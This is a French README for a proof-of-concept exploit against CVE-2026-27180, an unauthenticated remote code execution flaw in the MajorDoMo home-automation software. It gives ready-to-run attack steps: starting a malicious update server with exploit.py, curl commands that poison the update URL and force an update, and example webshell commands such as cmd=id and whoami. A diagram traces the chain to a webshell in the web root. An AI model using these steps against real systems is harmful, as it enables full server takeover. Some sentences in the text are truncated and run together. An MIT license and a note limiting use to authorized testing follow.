
Preuve de concept pour CVE-2026-27180, une RCE non authentifiée dans MajorDoMo via l'empoisonnement de l'URL de mise à jour, livrant un webshell à la racine web.
Exécution de code à distance non authentifiée via empoisonnement de l'URL de mise à jour dans MajorDoMo
CWE-494 – Téléchargement de code sans vérification d'intégrité
Impact : Compromission totale du serveur via un webshell placé dans la racine web
Authentification requise : Aucune
Correctif : PR #1177
Ce dépôt contient un exploit de preuve de concept pour – une vulnérabilité critique d'exécution de code à distance non authentifiée dans le logiciel d'automatisation domotique .
Un attaquant peut :
La vulnérabilité existe car :
auto_update_settings et force_updateCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess optionnel pour forcer l'exécution PHPgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# Aucun pip install nécessaire – utilise uniquement la bibliothèque standard + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2pxDémarrez le serveur malveillant :
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
Après le démarrage du serveur, exécutez ces commandes contre la cible :
# 1. Empoisonner la source de mise à jour
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Déclencher la mise à jour forcée
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Attendez 10 à 90 secondes, puis testez le webshell :
# Exemples :
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
Ce code est fourni strictement à des fins éducatives, pour des tests de sécurité autorisés et des activités de red teaming.
Licence MIT
Copyright © 2026 Mohammed Idrees Banyamer
La permission est accordée, gratuitement, à toute personne obtenant une copie de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter le Logiciel sans restriction, y compris, sans limitation, les droits d'utiliser, copier, modifier, fusionner, publier, distribuer, sous-licencier et/ou vendre des copies du Logiciel, et de permettre aux personnes auxquelles le Logiciel est fourni de le faire, sous réserve des conditions suivantes :
L'avis de copyright ci-dessus et cet avis de permission doivent être inclus dans toutes les copies ou parties substantielles du Logiciel.
LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS, SANS LIMITATION, LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS, LES AUTEURS OU TITULAIRES DU COPYRIGHT NE POURRONT ÊTRE TENUS RESPONSABLES DE TOUTE RÉCLAMATION, DE TOUT DOMMAGE OU DE TOUTE AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, HORS DE OU EN RELATION AVEC LE LOGICIEL OU L'UTILISATION OU AUTRES TRANSACTIONS DU LOGICIEL.